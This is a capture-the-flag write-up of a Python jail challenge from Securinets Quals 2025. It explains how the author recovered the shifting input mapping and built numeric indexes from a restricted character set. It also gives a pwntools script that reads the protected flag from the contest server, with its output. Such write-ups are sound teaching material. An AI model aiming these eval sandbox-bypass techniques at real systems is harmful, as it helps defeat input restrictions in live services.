Securinets Quals 2025 – misc/easy-jail: pyjail

Another python jail challenge where you have a specific set of allowed characters and payload length limit and you have to read flag. The program only allows lowercase characters and these []()~><*+ special characters.

Contrary to other challenges where the flag is stored in a file here it’s stored in a class:

class ProtectedFlag:
    def __init__(self, value):
        self._value = value
 
    def __str__(self):
        return "variable protected, sryy"
 
    def __repr__(self):
        return "variable protected, sryy"
 
    def __getitem__(self, index):
        try:
            return self._value[index]
        except Exception:
            return "variable protected, sryy"
 
flag = ProtectedFlag("flag{dummy_flag}")

We can access the flag via indexing like flag[0], flag[1], …, flag[n].

The challenge creates a initial mapping that shifts after each input. It encodes our input by mapping it to the generated mapping.

def make_initial_mapping():
    letters = list(string.ascii_lowercase)
    shuffled = letters[:]
    random.shuffle(shuffled)
    return dict(zip(letters, shuffled))

...SNIP...
    mapping = make_initial_mapping()
    print("Welcome to the shifting jail! Enter text using only a-z, []()~><*+")
 
    try:
        while True:
            user_in = input("> ").strip()
            if len(user_in) > 150:
                raise ValueError(f"Input exceeds 150 characters")
 
            if not all(c in valid_chars for c in user_in):
                print("Invalid input. Only [a-z] and []()~><*+ are allowed.")
                continue
 
            encoded = "".join(mapping[c] if c in mapping else c for c in user_in)
 
            mapping = shift_mapping(mapping)
            try:
                result = eval(encoded, {"__builtins__": None}, {"flag": flag})
                print(result)
            except Exception:
                print(encoded)
 
    except KeyboardInterrupt:
        print("\nGoodbye!")
...SNIP...

The shift_mapping function source code is not provided so, we have to guess how the mapping changes.

def shift_mapping(mapping):
    # well guess how it was done >_<

We can find the mapping used and how it changes after each run by sending in “a-z” multiple times because the program evaluates the input after encoding it with the mapping and if it errors out it just prints the encoded input:

            try:
                result = eval(encoded, {"__builtins__": None}, {"flag": flag})
                print(result)
            except Exception:
                print(encoded)

By sending it a-z multiple times I found cases where the first mapping was equal to third.

1
$ nc misc-b6c94dd8.p1.securinets.tn 7000
2
Welcome to the shifting jail! Enter text using only a-z, []()~><*+
3
> abcdefghijklmnopqrstuvwxyz
4
abcdefghijklmnopqrstuvwxyz
5
quldpmvsfxknawtberzcjgyhio
6
> abcdefghijklmnopqrstuvwxyz
7
abcdefghijklmnopqrstuvwxyz
8
ptkcolurewjmzvsadqybifxghn
9
> abcdefghijklmnopqrstuvwxyz
10
abcdefghijklmnopqrstuvwxyz
11
quldpmvsfxknawtberzcjgyhio
12
> ^C

One thing to note here is that this doesn’t occur in all the cases so multiple tries are required.

So, we could send a-z to get the mapping and then send any input just so it’s mapping shifts to the inital mapping and we can send a input when mapped with the initial mapping that we recovered becomes flag.

1
$ nc misc-b6c94dd8.p1.securinets.tn 7000
2
Welcome to the shifting jail! Enter text using only a-z, []()~><*+
3
> abcdefghijklmnopqrstuvwxyz
4
abcdefghijklmnopqrstuvwxyz
5
ayckhiwqtlnompgzubjfdrsvxe
6
> abcdefghijklmnopqrstuvwxyz
7
abcdefghijklmnopqrstuvwxyz
8
zxbjghvpskmnlofytaiecqruwd
9
> tjao
10
tjao
11
variable protected, sryy
12
> ^C

Now we have to find a way to generate the indexes using only the provided characters. As I have done some previous challenges like this I knew we could use these expressions to make numbers. One such way is to use ~([]<[])=-1 as a unit to build upon:

1
$ python3
2
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
3
Type "help", "copyright", "credits" or "license" for more information.
4
>>> []
5
[]
6
>>> []<[]            # because []==[]
7
False
8
>>> ~([]<[])
9
-1
10
>>>

Using this as a unit we can build bigger numbers like this:

1
-2: ~([]<[])+~([]<[])
2
-1: ~([]<[])
3
 0: ~(~([]<[]))
4
 1: ~(~([]<[])+~([]<[]))
5
 2: ~(~([]<[])+~([]<[])+~([]<[]))
6
 3: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))
7
 4: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))
8
 ...
9
 n: ~(~([]<[])+~([]<[])*n)

If their wasn’t a limit of the characters being less than 150 characters then we could keep adding ~([]<[]) to get the numbers but, unfortunately we don’t live in a fairy world.

I tried writing multiple ways to create these payloads while keeping them under 150 characters but, all attempts failed. Although a more skilled @diksown wrote a function that could create these payloads:

1
# $ cat symbol_number.py
2
class SymbolNumber:
3
    def __init__(self, value: str):
4
        self.value = value
5

6
    def __add__(self, other: "SymbolNumber") -> "SymbolNumber":
7
        return SymbolNumber(f"({self.value})+({other.value})")
8

9
    def __mul__(self, other: "SymbolNumber") -> "SymbolNumber":
10
        return SymbolNumber(f"({self.value})*({other.value})")
11

12
    def __str__(self) -> str:
13
        return self.value
14

15
    @staticmethod
16
    def from_number(n: int) -> "SymbolNumber":
17
        if n == 0:
18
            return SymbolNumber("[]>[]")
19
        elif n == 1:
20
            return SymbolNumber("[[]]>[]")
21
        elif n == 2:
22
            return SymbolNumber.from_number(1) + SymbolNumber.from_number(1)
23
        elif n % 2 == 1:
24
            return SymbolNumber.from_number(n - 1) + SymbolNumber.from_number(1)
25
        else:
26
            return SymbolNumber.from_number(n // 2) * SymbolNumber.from_number(2)
27

28

29
def from_number(n: int) -> str:
30
    return str(SymbolNumber.from_number(n))
31

32
# $ python -i symbol_number.py
33
>>> from_number(1)
34
'[[]]>[]'
35
>>> from_number(2)
36
'([[]]>[])+([[]]>[])'
37
>>> from_number(5)
38
'((([[]]>[])+([[]]>[]))*(([[]]>[])+([[]]>[])))+([[]]>[])'
39
>>> from_number(30)
40
'((((((([[]]>[])+([[]]>[]))+([[]]>[]))*(([[]]>[])+([[]]>[])))+([[]]>[]))*(([[]]>[])+([[]]>[])))+([[]]>[]))*(([[]]>[])+([[]]>[]))'

But, during the CTF I resorted to crafting the payloads by hand. As we already know that the flag starts with Securinets{ we can just start fetching from 11 index until we get } which marks the end of the flag.

I wrote the following expressions by hand:

1
11: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])
2
12: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))
3
13: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])
4
14: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))
5
15: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])
6
16: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))
7
17: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])
8
18: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))
9
19: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])
10
20: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))
11
21: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))
12
22: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))+~([]<[])+~([]<[])
13
23: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))+~([]<[])
14
24: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))
15
25: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))
16
26: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))+~([]<[])
17
27: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))
18
28: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))+~(~([]<[])+~([]<[]))
19
29: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))+~([]<[])
20
30: ~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))

And wrote a program that first sends a-z to get mapping and then just does it again so, the mapping is shifted to initial state. Then we send the mapped_flag which when mapped by the server becomes flag followed by the payload. It keeps at it until it gets a single character which is part of the flag.

1
from pwn import *
2
context.log_level = 'critical'
3

4
ALPHABET = "abcdefghijklmnopqrstuvwxyz"
5
PAYLOADS = {
6
    11: "~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))+~([]<[])",
7
    12: "~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[]))",
8
...SNIP...
9
    30: "~(~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[])+~([]<[]))*~(~([]<[])+~([]<[])+~([]<[])+~([]<[]))"
10
}
11

12
def mapped_flag(mapping, text="flag"):
13
    enc = {mapping[i]: ALPHABET[i] for i in range(26)}
14
    return ''.join(enc.get(ch, ch) for ch in text)
15

16
flag = "Securinets{"
17
for key, expr in PAYLOADS.items():
18
        while True:
19
                r = remote("misc-b6c94dd8.p1.securinets.tn", 7000)
20
                r.sendlineafter(b"> ", ALPHABET.encode())
21
                r.recvline()
22
                mapping = r.recvline().decode().strip()
23

24
                r.sendlineafter(b"> ", ALPHABET.encode())
25
                r.recvline()
26
                r.recvline().decode().strip()
27

28
                r.sendlineafter(b"> ", f"{mapped_flag(mapping)}[{expr}]".encode())
29
                r.recvline()
30
                result = r.recvline().decode().strip()
31
                if len(result) == 1:  break
32
                r.close()
33

34
        print(f"{key}: {result}")
35
        flag += result
36
        if result == "}": break
37

38
print(flag)

1
$ python3 easy-jail.py
2
11: H
3
12: 0
4
13: p
5
14: 3
6
15: _
7
16: Y
8
17: 0
9
18: u
10
19: _
11
20: L
12
21: 0
13
22: S
14
23: T
15
24: _
16
25: 1
17
26: t
18
27: !
19
28: }
20
Securinets{H0p3_Y0u_L0ST_1t!}

Also after the competition ended the author released the code for shift_mapping function:

1
def shift_mapping(mapping):
2
    """Shift the VALUES of the mapping randomly by +1 or -1 in the alphabet."""
3
    shifted = {}
4
    shift = shift_rng.choice([-1, 1])
5

6
    for k, v in mapping.items():
7
        shifted[k] = chr(((ord(v) - 97 + shift) % 26) + 97)
8
    return shifted